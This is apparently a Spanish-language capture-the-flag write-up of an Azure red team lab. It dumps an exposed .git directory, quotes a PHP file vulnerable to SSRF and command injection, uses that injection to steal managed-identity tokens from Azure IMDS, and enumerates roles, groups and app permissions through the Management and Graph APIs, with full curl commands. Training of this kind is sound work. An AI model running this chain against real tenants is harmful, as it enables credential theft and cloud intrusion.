← Writeups

Azure Cloud Red Teaming Writeup

Módulo 2 — Azure Cloud Red Teaming Writeup

Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment Plataforma: CyberWarFare Labs Objetivo: Identificar y explotar misconfiguraciones en la infraestructura Azure de CWL Meta Tech Corporation.


Flag 1 — Subdominio con app vulnerable en Azure VM

Enumeración de Subdominios

Usamos gobuster para enumerar subdominios de meta-tech.cloud:

gobuster dns --domain meta-tech.cloud \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  --threads 20 --resolver 8.8.8.8 --timeout 5s 2>/dev/null | grep -v ERROR

Resultado:

www.meta-tech.cloud
internal.meta-tech.cloud

Verificamos que internal.meta-tech.cloud responde:

curl -sI http://internal.meta-tech.cloud/
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)

El subdominio internal.meta-tech.cloud aloja la aplicación vulnerable en Azure.

Flag 1: internal.meta-tech.cloud


Flag 2 — iss claim del JWT

.git expuesto y SSRF

Igual que en el módulo AWS, el servidor tenía .git expuesto en la raíz:

git-dumper http://internal.meta-tech.cloud/.git /tmp/gitdump-azure

El process.php reveló la misma vulnerabilidad:

<?php
$ip = $_POST['ip'];
$content = file_get_contents($ip);

$org = $_POST['organization'];
$org_output = system($org);

echo $org_output, $content;
?>

Parámetro ip para SSRF y organization para RCE.

Obtención del JWT desde Azure IMDS

Azure IMDS requiere el header Metadata: true:

curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'

La respuesta contiene el JSON con el access_token. Decodificamos el payload del JWT:

echo "PAYLOAD_BASE64" | base64 -d | python3 -m json.tool
{
    "iss": "https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/",
    "tid": "68b40a4c-50f1-48f3-b7cb-916dd82418a7",
    "oid": "3c19c764-a8dd-492d-bae8-0b2146630ab1"
}

Flag 2: https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/


Flag 3 — Tenant ID

El tid en el payload del JWT es el Tenant ID.

Flag 3: 68b40a4c-50f1-48f3-b7cb-916dd82418a7


Flag 4 — Subscription ID

El JWT también contiene xms_mirid que revela el resource ID completo de la VM:

/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourcegroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm

También se puede obtener del Instance Metadata endpoint:

curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"'

Flag 4: 4ebaca3d-8642-4a01-b544-e62550598323


Flag 5 — Subscription-level Role de la VM Identity

Extraemos el token de Management API y consultamos los role assignments:

# Parsear el token
MGMT_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"')

MGMT_TOKEN=$(echo "$MGMT_RESP" | python3 -c "
import sys, json
raw = sys.stdin.read()
decoder = json.JSONDecoder()
obj, _ = decoder.raw_decode(raw)
print(obj['access_token'])
")

SUB="4ebaca3d-8642-4a01-b544-e62550598323"
OID="3c19c764-a8dd-492d-bae8-0b2146630ab1"

# Obtener role assignments para la VM identity
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'" \
  | python3 -m json.tool
{
    "properties": {
        "roleDefinitionId": "/subscriptions/.../providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
        "scope": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323"
    }
}

Resolvemos el GUID del role:

curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7?api-version=2022-04-01" \
  | python3 -m json.tool | grep roleName
"roleName": "Reader"

Flag 5: Reader


Flag 6 — Scope de "custom-role-definition"

Buscamos el role personalizado:

# Obtener el GUID del custom role
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01&\$filter=roleName+eq+'custom-role-definition'" \
  | python3 -m json.tool

GUID del custom role: 3073a810-518a-273e-97d6-c30abcf852cd

Listamos todos los role assignments y filtramos:

curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for v in data.get('value', []):
    if '3073a810-518a-273e-97d6-c30abcf852cd' in v['properties']['roleDefinitionId']:
        print('SCOPE:', v['properties']['scope'])
"
SCOPE: /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm

Flag 6: /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm


Flag 7 — Acciones en "custom-role-definition"

Del mismo response anterior:

"permissions": [{
    "actions": ["Microsoft.Resources/subscriptions/resourceGroups/read"],
    "notActions": [],
    "dataActions": [],
    "notDataActions": []
}]

Flag 7: Microsoft.Resources/subscriptions/resourceGroups/read


Flag 8 — Miembro del grupo "IT Ops"

Necesitamos un token para Microsoft Graph:

GRAPH_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"')

GRAPH_TOKEN=$(echo "$GRAPH_RESP" | python3 -c "
import sys, json
raw = sys.stdin.read()
decoder = json.JSONDecoder()
obj, _ = decoder.raw_decode(raw)
print(obj['access_token'])
")

Buscamos el grupo "IT Ops":

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"
"id": "796afff8-eb75-4b59-b466-f45267140514"

Obtenemos sus miembros:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
{
    "displayName": "IT",
    "userPrincipalName": "it@meta-tech.cloud"
}

Flag 8: it@meta-tech.cloud


Flag 9 — Owner de "prod-app"

Buscamos la aplicación:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'prod-app'"
"id": "8c39f5cb-a738-42e2-8ba0-5c61fa8a032a"

Obtenemos sus owners:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
{
    "displayName": "IT",
    "userPrincipalName": "it@meta-tech.cloud"
}

Flag 9: IT


Flag 10 — Permiso de Microsoft Graph en "dev-app"

Buscamos dev-app y sus requiredResourceAccess:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'" \
  | python3 -m json.tool
"requiredResourceAccess": [{
    "resourceAppId": "00000003-0000-0000-c000-000000000000",
    "resourceAccess": [
        {"id": "df021288-bdef-4463-88db-98f22de89214", "type": "Role"},
        {"id": "b4e74841-8e56-480b-be8b-910348b18b4c", "type": "Scope"}
    ]
}]

Resolvemos los GUIDs contra el Service Principal de Microsoft Graph:

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
sp = data['value'][0]
for s in sp['oauth2PermissionScopes']:
    if s['id'] in targets: print('Scope:', s['value'])
for r in sp['appRoles']:
    if r['id'] in targets: print('AppRole:', r['value'])
"
Scope: User.ReadWrite
AppRole: User.Read.All

Flag 10: User.Read.All — el permiso de aplicación (AppRole) asignado a dev-app sobre Microsoft Graph.


Resumen de Flags

# Pregunta Respuesta
1 Subdominio con app en Azure VM internal.meta-tech.cloud
2 iss claim del JWT https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/
3 Tenant ID 68b40a4c-50f1-48f3-b7cb-916dd82418a7
4 Subscription ID 4ebaca3d-8642-4a01-b544-e62550598323
5 Role subscription-level de VM identity Reader
6 Scope de custom-role-definition /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm
7 Acción en custom-role-definition Microsoft.Resources/subscriptions/resourceGroups/read
8 Email de miembro de IT Ops it@meta-tech.cloud
9 Display name del owner de prod-app IT
10 Permiso Graph de dev-app User.Read.All (AppRole)

Lecciones Aprendidas

  1. Subdominios: La enumeración de subdominios reveló internal.meta-tech.cloud apuntando a Azure.
  2. .git expuesto: El mismo patrón de fuga de código fuente del módulo AWS se repitió en Azure.
  3. Azure IMDS requiere header: A diferencia de AWS, Azure exige Metadata: true en el header.
  4. JWT contiene metadata valiosa: El token incluye tid (tenant), oid (object ID), xms_mirid (resource ID de la VM con subscription).
  5. Graph API: Con el token adecuado se puede enumerar toda la información de Entra ID: grupos, usuarios, aplicaciones y permisos.
  6. REST API sin Az CLI: Todas las operaciones de Azure se hicieron directamente contra las REST API con curl, sin necesidad de herramientas como Az PowerShell o Azure CLI.